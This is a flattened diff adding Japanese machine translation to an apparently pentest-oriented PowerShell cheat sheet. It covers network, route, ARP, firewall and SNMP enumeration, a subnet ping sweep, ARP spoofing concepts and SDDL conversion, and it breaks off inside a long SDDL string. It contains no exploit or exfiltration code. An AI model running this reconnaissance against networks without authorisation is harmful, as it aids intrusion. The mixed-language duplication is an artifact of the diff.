+以下は、スケジュールされたタスクを削除する例です。 + +```powershell +schtasks /delete /tn "MyTask" /f +``` + +In this command, `/tn` specifies the task name, and `/f` forces the deletion without confirmation. + +このコマンドでは、`/tn`はタスク名を指定し、`/f`は確認なしで削除を強制します。 ```powershell Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State ``` +## ネットワーク -## Network +### インターフェース -### Interfaces +```markdown +| Command | Description | +|---------|-------------| +| `Get-NetAdapter` | List all network adapters | +| `Get-NetAdapter -Name ` | Get information about a specific network adapter | +| `Get-NetAdapter -Physical` | List only physical network adapters | +| `Get-NetAdapter -Virtual` | List only virtual network adapters | +| `Get-NetAdapter -InterfaceDescription ` | Get information about a network adapter based on its description | +| `Get-NetAdapter -MacAddress ` | Get information about a network adapter based on its MAC address | +| `Get-NetIPAddress` | List all IP addresses | +| `Get-NetIPAddress -InterfaceAlias ` | Get information about a specific IP address | +| `Get-NetIPAddress -IPAddress ` | Get information about a specific IP address | +| `Get-NetIPAddress -AddressFamily ` | List IP addresses based on address family (IPv4 or IPv6) | +| `Get-NetRoute` | List all network routes | +| `Get-NetRoute -DestinationPrefix ` | Get information about a specific network route | +| `Get-NetRoute -InterfaceAlias ` | List network routes for a specific interface | +| `Get-NetRoute -NextHop ` | List network routes with a specific next hop | +| `Get-NetNeighbor` | List all network neighbors | +| `Get-NetNeighbor -IPAddress ` | Get information about a specific network neighbor | +| `Get-NetNeighbor -InterfaceAlias ` | List network neighbors for a specific interface | +| `Get-NetNeighbor -State ` | List network neighbors with a specific state | +``` +```html + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
コマンド説明
Get-NetAdapterすべてのネットワークアダプタをリストします
Get-NetAdapter -Name <adapter_name>特定のネットワークアダプタに関する情報を取得します
Get-NetAdapter -Physical物理的なネットワークアダプタのみをリストします
Get-NetAdapter -Virtual仮想的なネットワークアダプタのみをリストします
Get-NetAdapter -InterfaceDescription <description>説明に基づいてネットワークアダプタの情報を取得します
Get-NetAdapter -MacAddress <mac_address>MACアドレスに基づいてネットワークアダプタの情報を取得します
Get-NetIPAddressすべてのIPアドレスをリストします
Get-NetIPAddress -InterfaceAlias <alias>特定のIPアドレスに関する情報を取得します
Get-NetIPAddress -IPAddress <ip_address>特定のIPアドレスに関する情報を取得します
Get-NetIPAddress -AddressFamily <address_family>アドレスファミリ(IPv4またはIPv6)に基づいてIPアドレスをリストします
Get-NetRouteすべてのネットワークルートをリストします
Get-NetRoute -DestinationPrefix <prefix>特定のネットワークルートに関する情報を取得します
Get-NetRoute -InterfaceAlias <alias>特定のインターフェースのネットワークルートをリストします
Get-NetRoute -NextHop <next_hop>特定の次のホップを持つネットワークルートをリストします
Get-NetNeighborすべてのネットワーク隣接者をリストします
Get-NetNeighbor -IPAddress <ip_address>特定のネットワーク隣接者に関する情報を取得します
Get-NetNeighbor -InterfaceAlias <alias>特定のインターフェースのネットワーク隣接者をリストします
Get-NetNeighbor -State <state>特定の状態を持つネットワーク隣接者をリストします
+``` ```powershell Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` +### ファイアウォール -### Firewall +A firewall is a network security device that monitors and filters incoming and outgoing network traffic based on predetermined security rules. It acts as a barrier between a trusted internal network and an untrusted external network, such as the internet. Firewalls can be implemented as hardware devices or software programs. +ファイアウォールは、事前に設定されたセキュリティルールに基づいて、送受信されるネットワークトラフィックを監視およびフィルタリングするネットワークセキュリティデバイスです。信頼された内部ネットワークとインターネットなどの信頼されていない外部ネットワークの間にバリアを設けます。ファイアウォールはハードウェアデバイスまたはソフトウェアプログラムとして実装することができます。 ```powershell Get-NetFirewallRule -Enabled True @@ -387,65 +1679,156 @@ New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 2 ## You can user the following line changing the initial filters to indicat a difefrent direction or action Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action ``` +### ルート -### Route +The `Route` command in PowerShell is used to view and manipulate the IP routing table on a Windows system. It allows you to add, delete, or modify routes to control how network traffic is directed. +#### Syntax + +``` +route [-f] [-p] [Command [Destination] [mask Netmask] [Gateway] [metric Metric]] [if Interface] +``` + +#### Parameters + +- `-f`: Clears the routing table before adding new routes. +- `-p`: Makes the added routes persistent across system reboots. +- `Command`: Specifies the action to be performed on the routing table. It can be one of the following: + - `ADD`: Adds a route to the routing table. + - `DELETE`: Deletes a route from the routing table. + - `CHANGE`: Modifies an existing route in the routing table. +- `Destination`: Specifies the network destination for the route. +- `Netmask`: Specifies the subnet mask for the route. +- `Gateway`: Specifies the gateway or next hop for the route. +- `Metric`: Specifies the metric value for the route. +- `Interface`: Specifies the interface number or name for the route. + +#### Examples + +- View the routing table: + + ```powershell + route print + ``` + +- Add a route to the routing table: + + ```powershell + route add 192.168.1.0 mask 255.255.255.0 192.168.0.1 + ``` + +- Delete a route from the routing table: + + ```powershell + route delete 192.168.1.0 + ``` + +- Modify an existing route in the routing table: + + ```powershell + route change 192.168.1.0 mask 255.255.255.0 192.168.0.2 + ``` + +- Add a persistent route to the routing table: + + ```powershell + route -p add 192.168.1.0 mask 255.255.255.0 192.168.0.1 + ``` + +- Clear the routing table and add new routes: + + ```powershell + route -f add 192.168.1.0 mask 255.255.255.0 192.168.0.1 + ``` ```powershell route print ``` - ### ARP +ARP(Address Resolution Protocol)は、ネットワーク上のIPアドレスとMACアドレスの対応関係を解決するためのプロトコルです。ARPは、ネットワークデバイスが通信を行う際に、宛先のIPアドレスに対応するMACアドレスを取得するために使用されます。 + +ARPキャッシュポイズニングは、ARPプロトコルを悪用して攻撃を行う手法です。攻撃者は、ネットワーク上のデバイスに対して、誤ったIPアドレスとMACアドレスの対応関係を提供することで、通信の乗っ取りや情報の盗み出しを行うことができます。 + +ARPスプーフィングは、ARPキャッシュポイズニングの一種であり、攻撃者が自身のMACアドレスを他のデバイスのMACアドレスとして偽装することで、通信の中継や傍受を行うことができます。 + +ARP攻撃は、ネットワークセキュリティの脆弱性を悪用するため、ネットワークの監視と適切なセキュリティ対策が重要です。 ```powershell Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State ``` +### ホスト -### Hosts - +ホストは、ネットワーク上で他のコンピュータやデバイスと通信するための場所です。ホストは一意のIPアドレスを持ち、通信を受け入れるために特定のポートを開くことができます。ホストは、ネットワーク上でサービスを提供するために使用されることもあります。 ```powershell Get-Content C:\WINDOWS\System32\drivers\etc\hosts ``` +### ピン -### Ping +Pingコマンドは、ネットワーク上の特定のIPアドレスまたはホスト名に対して、応答時間を測定するために使用されます。以下のように使用します: +```powershell +ping +``` + +応答時間やパケットの損失率などの情報が表示されます。このコマンドは、ネットワーク接続のトラブルシューティングや、ネットワークの可用性を確認するために頻繁に使用されます。 ```powershell $ping = New-Object System.Net.Networkinformation.Ping 1..254 | % { $ping.send("10.9.15.$_") | select address, status } ``` - ### SNMP +SNMP(Simple Network Management Protocol)は、ネットワークデバイスの管理と監視に使用されるプロトコルです。SNMPは、ネットワーク上のデバイスの情報を収集し、管理者に通知するために使用されます。SNMPは、エージェントとマネージャの間で情報を交換するために使用されます。 + +SNMPには、以下の主要なコンポーネントがあります。 + +- エージェント:ネットワークデバイス上で実行されるソフトウェアで、SNMPリクエストを受信し、応答を返します。 +- マネージャ:SNMPリクエストを送信し、エージェントからの応答を受け取ります。 +- MIB(Management Information Base):ネットワークデバイスの情報を定義するデータベースです。MIBは、エージェントとマネージャの間で情報を交換するために使用されます。 + +SNMPは、ネットワークデバイスの状態やパフォーマンスに関する情報を取得するために使用されます。また、SNMPを使用して、ネットワークデバイスの設定を変更することもできます。 + +SNMPには、セキュリティ上の懸念があります。デフォルトのコミュニティストリングが設定されている場合、攻撃者はSNMPを使用してデバイスにアクセスできる可能性があります。したがって、SNMPのセキュリティを強化するためには、適切なコミュニティストリングの設定やアクセス制御リスト(ACL)の使用が必要です。 ```powershell Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse ``` +## **SDDL文字列を読みやすい形式に変換する** -## **Converting the SDDL String into a Readable Format** +To convert the SDDL (Security Descriptor Definition Language) string into a readable format, you can use the `ConvertFrom-SddlString` cmdlet in PowerShell. This cmdlet allows you to parse and convert the SDDL string into an object that can be easily understood. ```powershell -PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)" +$sddlString = "D:(A;;GA;;;WD)(A;;GA;;;BA)" +$securityDescriptor = ConvertFrom-SddlString -Sddl $sddlString +$securityDescriptor +``` +The `ConvertFrom-SddlString` cmdlet takes the SDDL string as input and returns an object that represents the security descriptor. This object contains information about the various access control entries (ACEs) defined in the SDDL string. + +By running the above code, you will be able to see the converted security descriptor object, which provides a more readable representation of the SDDL string. + +Note: The `ConvertFrom-SddlString` cmdlet is available in PowerShell version 5.1 and later. +```powershell + +PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3b